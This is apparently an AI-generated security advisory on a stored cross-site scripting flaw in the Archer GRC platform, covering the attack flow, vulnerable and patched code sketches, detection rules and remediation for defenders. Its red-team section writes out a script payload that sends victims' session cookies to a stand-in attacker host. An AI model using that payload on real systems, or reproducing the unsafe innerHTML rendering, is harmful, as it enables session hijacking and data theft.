CVE-2024-34089

Executive Summary

CVE-2024-34089 is a stored cross-site scripting (XSS) vulnerability in the Archer Platform, a widely used enterprise governance, risk, and compliance (GRC) solution. A remote authenticated attacker with low privileges can inject malicious HTML or JavaScript into a trusted application data store. When other users (including administrators) access the compromised data through their browsers, the injected script executes in the context of the vulnerable application. This can lead to session hijacking, data theft, or further lateral movement within the Archer environment. The vulnerability affects versions prior to 2024.04 and 6.14 P3 (6.14.0.3). No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid Archer user account.
• User Interaction (UI): Required – The victim must access the malicious data.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): Low – Limited impact on service availability.

Threat Level: High. While no public exploit exists, the low privileges required and the potential for data theft or session hijacking make this a serious risk for organizations using unpatched Archer instances.

Deep Dive & Mechanics

The vulnerability resides in the Archer Platform's data store functionality, which allows authenticated users to create and store records containing various data types. The application fails to properly sanitize user-supplied input before storing it in the database. When a victim user views the stored data via their web browser, the malicious HTML or JavaScript is rendered and executed.

Attack Flow:

1. Authentication: The attacker logs into the Archer Platform with a valid low-privilege account.
2. Injection: The attacker creates or modifies a record in a data store, inserting a malicious payload (e.g., <script>alert('XSS')</script>) into a text field.
3. Storage: The Archer application stores the unsanitized payload in its database.
4. Trigger: A victim user (e.g., an administrator or another analyst) navigates to the compromised record.
5. Execution: The victim's browser renders the malicious script, executing it in the context of the Archer application's domain.

Impact: The attacker can steal session cookies, perform actions on behalf of the victim, exfiltrate sensitive data, or deface the application interface. Since Archer is a GRC platform, the data at risk may include compliance reports, audit findings, and risk assessments.

Vulnerable vs. Patched Code

The fix involves implementing proper output encoding and input validation for all user-supplied data before storage and rendering. Below is a conceptual comparison.

Vulnerable Code (Conceptual - Archer Platform < 2024.04):

// Server-side: Storing user input without sanitization
function saveRecord(data) {
    db.insert({ content: data.content }); // No sanitization
}

// Client-side: Rendering stored data without encoding
function renderRecord(record) {
    document.getElementById('content').innerHTML = record.content; // XSS
}

Patched Code (Conceptual - Archer Platform 2024.04 / 6.14.0.3):

// Server-side: Sanitize input before storage
function saveRecord(data) {
    const sanitized = sanitizeHtml(data.content); // Use a library like DOMPurify
    db.insert({ content: sanitized });
}

// Client-side: Use safe rendering methods
function renderRecord(record) {
    const el = document.getElementById('content');
    el.textContent = record.content; // Safe, no HTML parsing
    // OR use a templating engine with auto-escaping
}

Key Fix: The patched version likely uses a combination of server-side input validation (rejecting or encoding HTML tags) and client-side output encoding (e.g., using textContent instead of innerHTML).

Exploitation & Lab Setup

Red Team (Attack Simulation):

1. Prerequisites:

   • Access to an Archer Platform instance (version < 2024.04).
   • A valid low-privilege user account.
   • A victim user account (e.g., admin) to trigger the XSS.

2. Steps:

   • Log in as the attacker.
   • Navigate to a data store where you can create records.
   • In a text field, inject a payload such as:

     <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
     

   • Save the record.
   • Wait for a victim to view the record, or send a link to the victim.

3. Expected Outcome: The victim's browser executes the script, sending their session cookie to the attacker's server.

Blue Team (Detection & Defense):

1. Detection:

   • Monitor for unusual data store entries containing HTML tags or JavaScript.
   • Use web application firewalls (WAF) to block common XSS patterns.
   • Enable logging of all data store modifications and review for suspicious content.

2. Defense:

   • Apply the patch immediately (upgrade to 2024.04 or 6.14.0.3).
   • Implement Content Security Policy (CSP) headers to restrict script execution.
   • Use input validation libraries (e.g., OWASP Java Encoder) on the server side.
   • Educate users about phishing links that may trigger the XSS.

Indicators of Compromise (IOCs)

• Network:

  • Outbound HTTP requests to unknown domains from the Archer server (e.g., GET /steal?cookie=...).
  • Unusual patterns in Archer application logs (e.g., script tags in data fields).

• Host:

  • Modified records in the Archer database containing <script> or <img onerror= tags.
  • Browser console errors or unexpected pop-ups when viewing Archer records.

• File:

  • No specific file-based IOCs; the attack is stored in the database.

Detection Engineering

YARA Rule (for scanning database exports or logs):

rule Archer_Stored_XSS_CVE_2024_34089 {
    meta:
        description = "Detects stored XSS payloads in Archer Platform data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-34089"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]+onerror\s*=/i
        $xss3 = /<svg[^>]+onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule (for SIEM detection of Archer XSS attempts):

title: Archer Stored XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in Archer Platform logs
author: Valters IT
date: 2025-04-10
logsource:
    product: archer
    service: application
detection:
    selection:
        EventID: 1001  # Example: Record creation event
        Data|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in data fields (rare)
level: high

Suricata Rule (for network-based detection of XSS exfiltration):

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"Archer Stored XSS - Cookie Exfiltration";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/steal?cookie="; http_uri;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Archer Platform 2024.04 or 6.14 P3 (6.14.0.3) immediately.
2. Workaround: If patching is not possible, restrict access to data store creation/modification to trusted users only.
3. WAF Rules: Deploy WAF rules to block common XSS patterns (e.g., <script, onerror, javascript:).

Long-Term Measures:

• Implement a Content Security Policy (CSP) with script-src 'self' to prevent inline script execution.
• Conduct regular security code reviews focusing on input validation and output encoding.
• Use automated scanning tools (e.g., OWASP ZAP) to test for XSS in custom applications.
• Train developers on secure coding practices (e.g., OWASP XSS Prevention Cheat Sheet).

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.